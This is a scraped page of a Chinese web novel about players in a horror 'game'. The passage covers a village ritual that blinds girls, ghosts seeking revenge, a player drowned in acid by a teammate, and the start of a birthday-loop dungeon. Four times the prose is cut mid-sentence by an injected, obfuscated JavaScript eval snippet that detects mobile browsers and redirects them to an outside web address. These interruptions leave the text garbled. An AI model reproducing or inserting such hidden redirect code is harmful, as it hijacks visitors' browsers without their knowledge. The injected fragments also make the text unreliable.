p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564225|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大boss怎么就这点作用?” 少女成功将银钗塞了进去,好了,现在这可不是一块普通的大饼,而是一块装着通关道具(二分之一版)的大饼! 她抬起头,完全看不出先前的歇斯底里,取而代之的是神秘微笑:“也许等到我们下一次见面,你便可知晓所有答案。” 好家伙,宋须满此生最讨厌谜语人! 模棱两可,故弄玄虚,少女还没有完全信任她。 “噢对了。”已经走出几步的少女慢下脚步,“明天就是我妹妹成‘神’的日子,你们要是想要拿到她的,就只有那一次机会……” 成“神”的日子,那就是被银钗戳瞎一只眼的日子。 如此血腥的虐杀居然被冠冕堂皇地取了个高大上的名字,丑恶向来都不敢见阳光,需要披上一层伪装的外衣。 第五天,是妹妹死去的世界,也可以说,是现实发生过的事。 玩家里面死去二人,现在吃早饭的,就只有五人了。 今天的早饭一如既往,不同的是,送餐的不是老婆婆了,第一个到来的云琼月说,她来到这里时,桌上已经摆好早饭了。 见人都到齐了,王一问道:“你们昨晚做梦了吗?我好像没做梦了。” 云琼月严肃点头:“我也没有,是什么原因呢?” 顾语涵的精神看起来好了一点:“连着几天做噩梦,好不容易睡个好觉!” 林归云担忧地摇了摇有些打瞌睡的宋须满,她迷糊糊举起手:“是什么原因呢?你们说,有没有一种可能,她昨晚去我梦里了。” 林归云大惊失色:“你还真找她合作了?” 宋须满得意地用筷子夹起盘里的包子,咬了一口:“那可不,我的大饼是无敌的。” “你们还记得前天做的梦吗?”她嚼着包子,口齿不清地问道。 顾语涵抖了抖:“是那个被戳眼睛的吗?想想我就眼睛疼。” “是哦,要是我说那个梦会在今天成真呢?”宋须满终于发现为啥她夹菜这么不别扭了,原来是筷子一正一反了。 顾语涵小脸煞白:“虽然很可怕,但是那个女孩很可怜,我希望可以帮助她。” “恭喜你!愿望成真了,我们今天的任务,就是从她手里拿到银钗。” 众人听闻宋须满昨夜的经历,无不惊奇。 “你胆子还挺大,敢和鬼怪做交易。”王一淡淡地点评了一句。 云琼月一边制定着待会的计划,笔在笔记本上几乎要写出残影,一边念叨着:“我就说早上起来那小银块咋不见了,原来是在你那……” “须满和我负责敲晕里面的人,归云你把女孩带出来,王一和语涵在外面接应,以防不备……” 宋须满拍案而起:“我不同意!” 云琼月抬眼:“你不同意什么?” 宋须满弱弱道:“我不同意任何人忤逆你,亲爱的云姐姐。” 她看着大饼流泪:“委屈你了大饼,与那些人渣亲密接触,还不如从未跟过我!” 8. 血银钗(八) 清晨,薄雾笼罩,一队人正浩浩荡荡从李家出发。 一路上,敲锣打鼓,鞭炮齐鸣,热闹非凡。 从李家到村中祠堂,弯弯绕绕,像是有什么喜事似的,人走远了,土路上都还残留着喜气,周围的人脸上都带着笑。 宋须满、云琼月、林归云混在人群中间,听着周围人的窃窃私语。 “时间过得真快哟,一年又过了。去年我儿子还闹着要来看,我不许,今年他都已经成年了,可以来看了。” “你儿子也来了?在哪呢?” “在队伍最前面呢,瞧那兴奋劲……” “都长这么高了,真羡慕你啊,还有个儿子,我女儿明年十六,这村子里女娃越来越少了,明年可能要轮到我家了。” “这可是天大的福气啊,作为女娃,却能庇佑村里的男娃,这福气大家可都是抢着要啊……” “话说今年这老李家的女儿似乎是双胞胎,可惜了……一次不能献祭两个,不然老李他们家岂不是有双倍的福气,羡慕哟。” 那人虽说着羡慕,脸上却是透着薄雾都能感受到的幸灾乐祸。 “小心过桥,就快要到了。” 浩浩荡荡的人群停下,脚步声七零八落,女孩呜咽的声音终于不再被掩埋,他们听见了。 少女双手被反绑着,嘴里塞着抹布。 村长走过来,阴沉着脸甩了女孩一巴掌:“老实点。” “把人带进去。”村长一挥手,七八个人上来扛着女孩进了祠堂。 围观群众瞬间涌了进去。 宋须满找了个离门边较近的位置,云琼月找了另一个离门较近的位置,林归云则是站在了距离女孩较近的供桌前。 有人压着女孩,宋须满看到,许珍珍站在一边,而她的身边,是另一个被人钳制着的小女孩。 “不要!妹妹!你们会遭报应的……” 许珍珍身旁的女孩没被塞抹布,她大声哭喊。 许珍珍的眼里满是兴奋,她整个人微微颤抖着,脸上泛起红晕,死死盯着被压制着的女孩。 村长严肃地对着神像前挣扎的女孩说:“虽为女儿身,却可成神……世间从未有过你这样好运的。” “心怀感激吧,记得庇佑村里的男人。” 村长拔下女孩头上的银钗。 宋须满终于画够了所有需要的东西。 她摔上祠堂的门,巨大的碰撞声聚集了所有人的目光,包括拿着银钗的村长。 他吹胡子瞪眼:“什么人,竟敢在如此庄严的场合制造出噪音!” 宋须满笑着向他掷去了一张坚硬如铁的大饼:“怎样?” “咣——” 力度十分大,村长直直倒下。 宋须满像是在玩投掷套圈的游戏,她手里出现源源不断的大饼。 “咣——咣——咣——” 女孩周围都被清了个空。 与此同时,云琼月也拦在门前,时不时给侥幸靠近的村民一拳。 林归云按照原计划上前抱起女孩就想冲出门,却发现大门已经被她们两个人堵得死死的了。 林归云:…… 没时间犹豫了,紧随而来的是与他擦肩而过的大饼。 那饼带着淡淡的大饼香,在空中划过一个完美的弧线,将一个村民砸晕。 眼看地上已经躺了很多人,宋须满指着许珍珍旁边的女孩:“快啊!你快把她们带出去!” 林归云一咬牙,一手抓着一个女孩的衣领,趁着宋须满不再满世界无差别甩大饼的间隙,打开关好的门,然后溜了出去。 王一和顾语涵躲在一旁的草丛边,见林归云出来,两人惊讶道:“这就好了?” 林归云将两个女孩放下,头也不回:“我去帮云姐她们。” 两个女孩尚还处于惊恐之中,眼神有些呆滞。 顾语涵心疼地握住她们的手:“没事了,都没事了……” 里面的战况已经接近尾声了,待林归云进来时,看着满地的人和大饼,层层叠叠,无从下脚。 而宋须满和云琼月就像两个英雄,高高地立在上面。 “不过如此!”宋须满高冷地吐出一句话。 “还不够我平时训练的量。”云琼月跟了一句。 直到确保已经完完全全破坏了这个“仪式”,玩家们这才送了口气。 顾语涵一直拉着两个女孩的手,问道:“现在怎么办?” 宋须满微微弯下腰:“妹妹,你的银钗可以给我们吗?” 二丫的脸上满是惊恐,在听到银钗两个字时,甚至开始发抖。 “可以吗?我用这个和你换好不好?” 宋须满凭空拿出了一朵花,看起来有点像玫瑰,又有点像蔷薇。 但它既不是玫瑰,也不是蔷薇,其实它是宋须满刚刚悄悄在脑海中画的,独一无二的未命名的花。 女孩攥着银钗的手松开,她接过了宋须满手里的花。 “谢谢。”她笑着,与另一个女孩慢慢消散了。 “我们这算通关了吗?”顾语涵眼含热泪。 熬了这么多天,担惊受怕的。现在通关道具已经集齐,接下来要做的只有等待。 “那我们只需要明天晚上去渡口,就可以乘船离开了!”她有些激动。 宋须满感觉隐隐有些不对劲,但两支完整的银钗确实已经到手了。 玩家们回老宅时的脚步都轻快了许多,大家甚至开始聊起天。 仿佛他们就是一群下班后结伴回家的好朋友似的。 顾语涵首先叽叽喳喳了起来,没有了生命的威胁,这位单纯的女大学生终于毫无保留地展现出她活泼的一面: “这个副本终于要结束了,结束后我就可以回去了吗?好想念火锅啊……” 王一推了推眼镜:“回家倒是没那么快,吃火锅倒是有可能。” 云琼月拍了拍宋须满的肩膀:“须满你的准头可以啊!等一切结束后,有没有兴趣来做警察?” 宋须满正想着事情,闻言一愣:“云姐姐这你可就误会我了,我只是一个普普通通的打工人,哪能啊……” 云琼月笑着搭上她的肩膀,眼神却又黯淡下来:“别这么快拒绝嘛,说不定等出去时,你已经练就十八般武艺了。” 顾语涵上一秒还在兴奋地说着火锅的事,下一秒就开始低落了:“你们说这个副本是真实的吗?她们好可怜啊……” “我总感觉是真实的,我记得刘意观说过,他的姐姐也是这样,上了几年学就被嫁给老光棍换彩礼,他的学费还是家里人逼姐姐出的……” 云琼月放开宋须满,又揽住了顾语涵:“理论上是假的,都叫‘游戏’了。不过确实很真实。其实我认识陶明,他从前做些拐卖妇女的勾当, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564226|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是被我抓进局子的。” “怎么不叫报应呢?”她叹了口气,微微抬头。 玩家间的信息是共享的,她早就从宋须满那知道许珍珍是被硬留在这的。 玩家们回到老宅就散开了,宋须满沿着楼梯走上楼,却发现原本是靠边的七号房旁,突然多了一条楼梯。 宋须满看着那条突然多出来的楼梯,那是去往三楼的楼梯。 她几乎是一瞬间就明白了那天梦里少女所说的“下一次见面”是什么意思了。 这是在邀请她吗? 由于三层没有光,这黑暗从拐角处蔓延过来,直至湮灭在亮着灯的二楼走廊。 楼上有什么? 木制楼梯嘎吱作响,破旧的楼梯遍布蛛网和灰尘,每一步都让人胆战心惊。 越往前走越接近黑暗,越往前走越寂静。 “嘎吱嘎吱——” “咚咚咚——” 宋须满捏紧了手里的大饼。 “嘎吱嘎吱——” 这不是楼梯在响,因为此时,她已经停下了脚步。 是三楼的走廊口有东西,就好像也有个人在那走楼梯,把楼梯踩得嘎吱作响。 她走过拐角,憋着一口气,一切细微的声响都是那么清晰。 没有可能出现的红衣女鬼或是舌头拖地的吊死鬼,这是一条很寂静的走廊。 由于黑暗,宋须满不能看清走廊的细节,她摸索着往前走。 这条走廊似乎并不长,她很快就看到了一丝亮光,那是从紧闭着的房门缝隙里逃出来的。 迟疑了一下,她推开了门。 门内的光亮让已经适应黑暗的眼睛不太适应,她微微眯眼,看清了房内的一切。 那儿规规矩矩躺着很多人,许珍珍,老婆婆,还有他们先前见过的那个打水的妇人…… 还有许多十六七岁的稚嫩面孔。 她们安安静静地躺着,胸膛没有起伏。 最中间的少女突然睁开眼,她眼珠转了转,看见了宋须满:“你来了。” “所以这根本不是你一个人创造的世界,是你们所有人,对吗?”看到这一切,还有什么不明白的。 “这种说法很有趣。”少女像是真的认同这个说法一样,微微弯着眼。 “可惜,并不完全对。”她叹了口气,指着老婆婆,“你认识她吗?她因为年轻时死了丈夫,被村民以不详之名赶出村外,只能在离村好远的地方居住。” 她指着打水的妇人:“你认识她吗?她因为生下的不是儿子,被丈夫活活打死了。” 她指着许珍珍:“你认识她吗?她因为被拐卖,活得猪狗不如,在失去生育能力后还被抛弃。” 最后,她手指翻转,指向了自己:“你认识我们吗?被推出去送死,还要被训斥不知道感恩戴德,不懂得为男人奉献。” “丈夫、儿子、家庭、奉献。你认为这一切的根源是什么呢?” 少女的情绪突然开始剧烈波动,她原本看起来较为正常的躯体开始变化。 她的其中一只眼睛出现了一只深深插在其中的银钗,从洞里汩汩冒出鲜血,少女抓住银钗的尾部,想要将银钗拔出来。 “够了。”宋须满捏着大饼上前,“我来告诉你,一切的根源是什么。” 她咣的一下将大饼砸在少女头上,在少女愣神时,给出了她的回答。 9. 血银钗(九) “你做菜时会考虑一条鱼的感受吗?” “无论是红烧还是清蒸,油炸或是烧烤,绝对不会有人先询问鱼想要成什么样,即使鱼一点也不想被吃。” “这只取决于吃鱼的人想吃什么样的鱼罢了。他们想吃鱼,鱼就必须要被吃,因为千百年来都是这样的。他们不想吃鱼,那鱼也得被乖乖杀掉,成为他们前进路上的垫脚石。” “而鱼想要成为独立的个体,首先就不能认为自己是鱼,更不能心疼吃鱼的人。” 作为一条鱼,却心疼吃自己肉的人,担忧自己的肉质是否鲜美,自己的鱼刺是否卡住了人的喉咙,自己是否是一条顺从的鱼,真是没有明白自己的处境。 “你说得对。”女鬼的血流得更欢:“还好,还好……就是明天了,我们会再一次带给他们盛大的死亡的。” “然后呢,结束之后又是痛苦的轮回?”宋须满不太认同。 “只要怨恨不消散,我们就不会消散,你让我们如何不怨,村里的女人,从她们的母亲,到她们的女儿,世世代代,都在被压迫着。” “是游戏,给了我们新生的游戏!就算只有一天……也能让我们拿起屠宰刀。你别想像之前的玩家那样阻碍我们。”她古怪一笑,“而且谢谢你们啊,救出了我的妹妹,在这一次,她也将获得新生……” 糟了,就说觉得哪里怪怪的。救出二丫的过程,无论是从大丫这里得到消息,还是拿到银钗,都顺利得不可思议。 原来是在这等着呢。 “没事的,你们会随着这个罪恶的村子一起覆灭的,而我们,将会开启下一个七天。” “你很痛苦吧,硬生生造出了一个妹妹存活的时空,一遍遍体会着挖眼死去的痛苦……”宋须满问。 那个与现实完全相反的时空,就是愧疚于当时把银钗让给妹妹而一遍遍在脑海中自我惩罚的结果。 女鬼脸色一变:“是又怎样,我不和快要死的人计较。” 宋须满无所谓地挥挥大饼:“那么,再见!” 她转身就走了,看似毫不慌张,其实很慌张。 这下有点棘手了,这不是李大丫一个人的世界,而是她们的世界。 这种浓厚的怨恨,怎么消除得了啊。 宋须满没敢把这看似毫无希望,实则毫无希望的对话告诉其他人。 她嘱咐道:“第七天可能会有很危险的事情发生,大家明天一早在村口等候,躲好一点,时间一到我们就去渡口。” 终于到了副本规定离开的那一天,天空都阴沉了许多,给人一种下雨前压抑的感觉。 临出发前,宋须满悄悄来到那个第一次跟随老婆婆而穿过的墙壁旁。 她贴着墙壁的缝隙商量着:“您也想让她解脱吧,只需要在最后时刻出场一下……” 一行人来到村口,宋须满和林归云蹲在了石碑后面,其他人则是躲在草丛里。 也不知蹲了多久,村子里传来男人惨烈的叫声。 顾语涵那边的草丛抖动了几下,她悄咪咪地问:“怎么了?” 宋须满说:“别出声,这不干我们的事。” 时间流逝着,微风送来浓郁的血腥味,几乎要令人干呕。 眼看天色渐晚,村内也几乎不再传出惨叫声,大家都松了一口气。 只要再等上几个小时…… 不料粘腻的脚步声突然响起,宋须满露出一只眼睛看了一眼,果然是大丫。 少女身上的衣裳被鲜血染得斑驳,脸上还在嘀嗒往下滴着血,一看就知道是溅上去的。 她扫视一圈:“出来吧。” 没有人动,她用手指着石碑:“我看到你了。” 宋须满向林归云摇摇头,走了出去:“你们没必要杀我们。” “我没打算杀你们,把银钗交出来吧。” 这和被杀有什么区别? 有的,区别只是一个因为不交出银钗而现在被女鬼杀死,另一个是几个小时后因为没有银钗出不去而被游戏杀死。 “那你不如杀了我。”宋须满说。 女鬼:? 趁着女鬼疑惑,宋须满向她掷出一个刚出炉的新鲜大饼,成功使她的脑袋空白一瞬。 然后,她开始画饼:“我知道一个办法,你让我们出去,我们会消除你的怨恨。” “六天的憋屈,换一天的快乐。想想都亏啊,不要再这样下去了。” “我给你看。”她拿出一个刚画的播放器,播放了一段视频。 那是在各行各业中闪闪发光的女性。 她们不是谁的妻子,谁的妈妈。不管是小王还是王总,都是她们自己。 不管怎样劳累奔波,那都是她们自己。 “世上总有不公压迫,但我相信这只是暂时的。我保证,等你们下一次重返人间,世上的不公与压迫一定会减少。” “一定!”宋须满充满希望的眼神,与视频里数不清的女性闪亮的眼神重合在一起,“我们保证。” 云琼月和顾语涵从藏身的草丛中出来了,她们没有颤抖,但眼含热泪:“我们保证。” 她动摇了,她们的怨恨来源于不公,但她看见原来世界上有那么多人都在努力消除不公。 在她看不到的地方,有许许多多女性,为活出自己的人生而努力,即使很累,也要为了平等地站立在职场上而努力。 她梦中所想的公平,在另一个地方实现的可能性很大。 “就算你们说的都是真的,那为什么没有人来救救我们?”女鬼流下血泪,神情又狰狞起来。 “路是一步一步走的啊……”这不是宋须满的声音,但这声音却很熟悉。 苍老的,却充满力量的声音,是老婆婆的声音。 “我带着怨恨经历了好多次,但每次的杀戮并不会让我有所快感,而是加剧内心的怨恨。” “乖乖,放过自己吧。作为‘她们’承受压迫后的怨恨凝结成的产物,我们该去迎接新的生活,而不是活在怨恨中折磨自己。” 老婆婆从村内走出来,牵着和她长的一模一样的女孩,握住了她的手。 “姐姐,这不是你的错。我从来没有怪过你……” 女鬼嚎啕大哭,血泪沾湿了老婆婆的衣裳,她一手牵着一个少女,向着老宅走去。 看着她们离去的背影,宋须满神色复杂。 其实她也想问,为什么非得是她们遭受这些呢? 但社会确实在慢慢变好,不公也将慢慢消失,路都是一步步走的,必然要有消失在路途中的女性,这些都是前进路上所必须要经历的。 玩家里没人说话,大家都沉默地等着渡船。 远处传来船身划破水面的声响。 “是船!船来了!”顾语涵兴奋地大喊。 船上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564227|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有七个座位,只要五个人,看来必定要空两个了,云琼月先上了船,确定没有安全隐患后,对他们招招手:“上来吧。” 宋须满和林归云也登上了小船。 王一对顾语涵说:“我先上,待会我拉你上去。” 顾语涵本就有些怕这摇摇晃晃的小船,闻言小鸡啄米般点点头。 船上的三人各自坐在座位上,没有注意一旁的王一。 只见他登上船,对顾语涵伸出了手:“把手给我吧。” 顾语涵感激地去拉他的手,在将她拉上船的一瞬间,王一对她笑了一下。 随即。 “扑通——” 巨大的落水声响起,云琼月首先去查看,顾语涵浑身冒着烟,在水里痛苦挣扎:“救命!” “这是……硫酸?”顾语涵身上的皮肤眼看着被腐蚀了不少。 云琼月迅速将船上的绳子丢了下去,此时,宋须满也将她的大饼扔了下去,想暂时充当一下漂浮板。 可是大饼浮在水面上,不一会儿就连渣都不剩了。 顾语涵几乎沉下去了。 “救不了了。”云琼月克制着,“这水好像是硫酸,要不就是什么腐蚀性的液体。” 宋须满死死捏住船旁的栏杆,看着顾语涵沉下去的地方,那里已经什么也不剩了。 云琼月红着眼,拽住了王一的领子:“你说你拉语涵上来,那为什么她会掉下去?!” 船已经开动了,载着他们驶向一望无际的地方。 王一拉了拉衣领,脸上透露出一丝不耐烦:“你和我同为老玩家,少一个人出副本就多一分机会拿到‘神秘道具’。” “就为了那个‘神秘道具’你就要害死一条活生生的生命!你还是不是人!”云琼月不管不管地挥着拳头就往王一脸上打。 林归云假意上前劝架,却暗中使劲把王一死死按在原地。 云琼月一拳结结实实打在了王一的鼻梁骨上,他的眼睛破碎,飞出好几米。 王一擦着鼻血,眼神幽暗:“惹怒了我可没有好果子吃,「晨星」会来找你麻烦的。” 云琼月冷哼一声,又要打上一拳。 此时宋须满走了上来,一把抓住王一的手臂:“快来帮忙啊,我们一起把他扔下去。” 云琼月和林归云果断上前就将人掀翻到水里。 出乎意料的是,没有落水声。 宋须满伸出头一看,就连人影也没了。 云琼月的眼泪这才大颗大颗往下掉:“我还是没能护住她……我怎么这么没用……” 宋须满抱了抱她,这还是她第一次见云琼月哭:“这不是你的错。” 云琼月咬着牙:“让他给跑了,他身上肯定有保命的道具,可以直接通关的。” “那他为什么要留在副本这么多天?”林归云不解道。 “你们听过「晨星」吗?那是昼城最大的玩家公会,既然是「晨星」的人,这个副本里一定有他们所需要的东西,也不知道让他找到没。” “‘神秘道具’是随机抽取通关玩家给的,根据副本完成程度有不同的等级。” “他肯定是觉得这次‘神秘奖励’等级高,才会推了语涵……明明他的目标不是这个的,就为了那一点点的可能性……”云琼月说着说着又红了眼眶。 宋须满拉着她的手:“总有一天,他会得到报应的。” 10. 血银钗(完) 小船静静航行着,离村庄越来越远。 “快看!”林归云指着村庄,“好像消失了。” 宋须满顺着他手指着的方向看过去,这罪恶的,腐朽的村庄一点点化为尘灰,随着风儿飘向天际,直至完全消失不见。 走不出去,飞出去也是好的。 鸟儿在笼子里打转了无数圈,终于飞出囚笼…… 那之后会发生什么呢?没有人知道。 但唯一确定的是,囚笼不存在了。 【恭喜玩家[画大饼之神]通关副本「血银钗」 副本评价:S】 与此同时,她获得了一万积分和三个道具。 [“束缚”:倘若鸟儿生来便被剥夺飞翔的权利,那么它还算一只鸟吗? 说明:当玩家与任意生物间的距离小于等于30米,可随意指定自己口中说出的一句话,无条件使他人相信。脱离该范围后效果立即消失。] [“感激”:不知来源于谁人的情感。世界上有如此多的情感,它绝对不是最强烈的那一个。 说明:或许,你可以试试对不礼貌的家伙使用,可能会发生很有趣的事哦。] [“平等”:我们生来平等。什么,你不这么认为?那你可能需要一些‘物理帮助’。 说明:玩家可指定除自己外另外一人,强行使对方的最强能力与自己的最弱能力达到同一水平。] 【抽取‘神秘道具’……】 【恭喜玩家[画大饼之神]获得副本「血银钗」神秘道具!请确认。】 “把你左下角默认打勾的那个‘同时播报全城’取消了!”做人需要低调,这个游戏好像不明白这一点。 【……好的。】 [血银钗:“一支滴着血的银钗,它的主人去哪了?”“天呐!你的身后……” 说明:或许你想悄无声息地使人死于幻境吗?血银钗!最好的选择。玩家可召唤藏于钗中的她。 警告:神秘道具在一场副本中最多使用一次,次数与其他神秘道具不通用!] 与前三个道具不同的是,这次的道具居然是实体的,一支小小的银钗落入她的手中。 【副本结算完毕……滋滋滋……永久关闭……即将回到「昼城」……】 宋须满眼前一黑……不,眼前一白。 睁开眼的瞬间,她就被晃瞎了眼。 第一反应是亮,盛夏的阳光照在钻石上那样亮。 然后,她看见了白到发光的大楼,一栋栋,就像无数插在地里的白鞋。 太阳悬挂,高楼林立,没有一丝绿色。 这里是,昼城。 【请前往:昼锦路188号4幢606室。】 一把房门钥匙凭空出现在她手里。 好耶!居然还分配房子。 宋须满将钥匙揣进兜里,沿着路标走,她突然发现有什么不对劲。 这太阳高悬,可她一点都没有感受到太阳应有的温度。 一丝也没有,仿佛那就只是个超级超级亮的大灯泡。 这真的是白昼吗? 好耶!还有电梯。 宋须满看见快要闭合的电梯门,尔康手:“等等!” 里面那人似乎听到了她的叫唤,快速摁了开门键。 宋须满跑进去,那人笑着看她:“好巧哦,你也被分到这了吗?” 刚出副本就又碰见了…… 林归云歪头问她:“几楼?” “6。” 林归云摁下6,然后摁了个5。 “谢谢,你住5楼啊。” “对的,506,就在你家楼下。” 林归云拿出手机:“大家都是邻居,加个联系方式呗。” 宋须满:?为什么他有手机,为什么她没有手机。 【……糟糕,忘记发了。……现在将为您发放手机。】 宋须满:…… 一部手机凭空出现在她手中,而且居然是最新款xx牌xx手机! 打开手机,里面只有一个界面,右上角写着她的名称,左边是一些玩家论坛啊,排行榜之类的东西。 “你叫什么?我加你啊。”林归云低头摆弄着手机。 “画……画,算了!要不我加你吧。”她必须得承认,她有“说名字恐惧症”。 林归云面色涨红:“抱……抱。” 他很努力,宋须满看出来了,她用眼神鼓励着他,说出来!说出来! “我叫‘抱大腿之神’。” 宋须满脸色未变,快速加上了对方:“你好像到了。” 林归云跑出了门,宋须满放声大笑。 林归云转过头,宋须满一脸严肃:“怎么了?” 林归云走出几步,身后传来哈哈大笑的声音。 好像被嘲笑了……就说不要取这个名字,都怪那个人,说什么要给别人一种你很弱的感觉,没有威胁,才能不被人注视。 宋须满打开了606的房门,全白的装修让她误以为自己到了天堂。 三室一厅,很标准的套房。 白白软软的沙发!像个雪白无暇的馒头。 她坐下就开始刷手机。 玩家论坛里有个标红的帖子,是官方发的。 【请玩家注意,血银钗副本已永久关闭。】 [我的刀呢]:“这不是那个fb吗?怎么关闭了?” [不要缩写]:“不要缩写!再说一遍!不要缩写!” [鱼鱼]:“fb是什么?” [积分从四面八方来]:“戳戳楼上,是副本。” [幸运小狗]:“这个副本很难的,听说最后要帮助村民把女鬼给打跑才行。也不知道哪个神人给副本搞没了……” [好奇宝宝]:“怎么能把副本弄没呢?我真的很好奇。” …… 刚开始的十几楼还在讨论副本关闭的事,后面就开始歪楼了。 [好运加持]:“新人榜上怎么有个人叫“画大饼之神”,好好笑的名字,我先笑为敬。” [九月三]:“哈哈哈哈哈哈我就说很好笑吧。唉,一群没有幽默感的人。” [AAA卖道具]:“买道具找我!不要998,不要888,只要一点点积分。” 这条评论只出现了一瞬,等宋须满点进那人头像,已经显示“该用户已违规”了。 [官方提示:警防积分诈骗,请移步昼芽路88号购买正规道具。] [鼠鼠我啊]:“你们知道「生日快乐」副本吗?好像要开始选人了,最近过生日的人小心点。鼠鼠我啊,好像要倒大霉了。” 下面跟了好多人的回复,宋须满稍微整理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564228|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下信息。 「生日快乐」是个单人副本,过关难度中等。但是能活着出来的玩家都记不清在副本里到底发生了什么,只是念叨着“循环”之类的东西。 坏消息,她的生日就在这两天。 但她安慰着自己,这么多人呢,哪能就选中她呢? “咕——” 刚好肚子饿了,于是她打开了冰箱。 于是她沉默了,像一个合格的雕像。 “没必要吧,你们这的大白菜是白色的?我都不想说,还有那个方便面,没钱画封面吗?” 【为了保持统一风格,这是必要的。请您放心,食物的风味不会发生变化。】 “我看着很没有食欲怎么办?” 【或许您可以通过消耗积分解锁外观。】 “我是那么奢侈的人吗?” 是的,毕竟白色的食物看着真的没有什么食欲,做人还是要对自己的独生嘴好一点。 于是她整了碗麻辣烫,虽然条件有限,但是她整整加了面条两倍的配菜。 麻辣烫的香味勾得宋须满立马拿起筷子,就要大快朵颐。 “咚咚咚——” 是敲门声,她打开门,是林归云。 林归云向她打招呼:“要一起去道具店看看吗?我也没别的意思,就是想去买个道具。” 宋须满看了眼麻辣烫:“稍等我一下。” 然后她“啪”地一下就关上了门。 昼芽路88号,应有尽有道具店。 林归云在里面挑挑拣拣,宋须满在外面随意拿起几个道具。 [“喜悦之糖”:这不是一块普通的糖,这是喜悦的糖。 说明:吃了之后可以保持心情愉悦!美好的心情是成功的开始! 售价:50积分] [“×府家规”:某本家规,足足有456页!看来写家规的一定是大户人家。不过,为什么这里面写着四菜一汤20块钱,一定是看错了,再看看…… 说明:指定一人造成精神污染,3分钟后该效果消失。 售价:3000积分] 糟糕,宋须满有点心动了,这个道具看起来很实用的样子,至少表面上看是这样。 也才3000……她看了看自己的钱包,里面还有7000积分。 她咬咬牙,大手一挥,买了! 宋须满不敢逛了,她怕又要花出去积分。 林归云还在里面跑来跑去,结完账,他直直冲着宋须满跑来。 少年挥着手笑道:“喂!我在这。” 他递给宋须满一个小小的东西。 “这是什么?” “护盾,可以抵御一次致命伤害。” 宋须满慌忙摆手:“我可不能收这么贵重的东西。” 林归云轻巧地躲开了她递过去的手:“这不是上个副本抱上了你的大腿嘛,托你的福,我获得的积分也不少。要是你实在过意不去,下次也带带我呗。” 宋须满见他一副坚决的样子,只好收下。 “那我就收……” 话还没说完,眼前的少女突然消失不见。 林归云神色淡淡,仿佛这里从未有过人和他对话,他悠闲地朝着来时的方向走去了。 “……下了。” 不是,这给我弄哪来了? 11. 生日快乐(一) 明明上一秒还在和林归云说话,下一秒人就没了。 这还是昼城吗? 【欢迎进入游戏, 副本名称:生日快乐 副本人数:1 副本简介:“祝你生日快乐~”过生日的时候,生日歌要唱几次?你知道哪里是头,哪里是尾吗? 时限:未知 通关条件:找回记忆,逃离循环。】 【玩家[画大饼之神]已登录,祝您好运。 本次副本为特殊副本。生日快乐副本特殊规则:清除作为玩家的所有记忆,接收副本主角的记忆后,方可进入副本。】 宋须满倒吸一口凉气,清除所有记忆,不知来处,如何归去? 好歹毒的副本! 【正在清除玩家[画大饼之神]的记忆。请记住,你现在正在和朋友一起过生日……】 “祝你生日快乐!”宋须满睁开眼,对上了女孩清澈的眼睛里闪烁着的微弱烛火,女孩捧着蛋糕,期待地看着她。 看着闪烁的蜡烛,她试探性地吹了一下。 蜡烛摇晃几下,灭了,宋须满的感官陷入一片黑暗。 “啪嗒。”灯亮了,她这才看清,包厢内不止她和女孩,还有其他人。 女孩是她最好的朋友蒋艺,蒋艺和她一同上小学,一同上初中,再一同上高中…… 两人简直就是世界上最好的朋友。 今天是她的十八岁生日。 蒋艺见她脸色不佳,满脸担忧:“还在想和你爸妈吵架那事吗?今天可是你的成人礼,别不开心了。而且叔叔阿姨还是很关心你的,他们还打电话问了我们在哪。” 明明今天是她的十八岁生日。一大早,父母便以她赖床为理由,说着说着开始翻起旧帐。 “别想让我们给你过生日!”妈妈愤怒地吼着。 “去找你那些朋友吧。”爸爸抱着胸,冷冷地说了一句。 于是她就跑出来了,幸好还有这么一群好朋友…… 周围的同学都围了上来,七嘴八舌地安慰她。 “这件事是你爸妈的不对,生日寿星最大,大家来碰个杯!”说这话的是祁世平,他个子很高,皮肤晒得黝黑。 为了照顾其他人的身高,他低低举着杯子,大家也都站了起来。 宋须满站起身来与同学们碰杯,年轻人总是有用不完的气力,杯子碰得“哐哐”作响,杯中的液体晃来晃去,也不知谁的混进了谁的杯里。 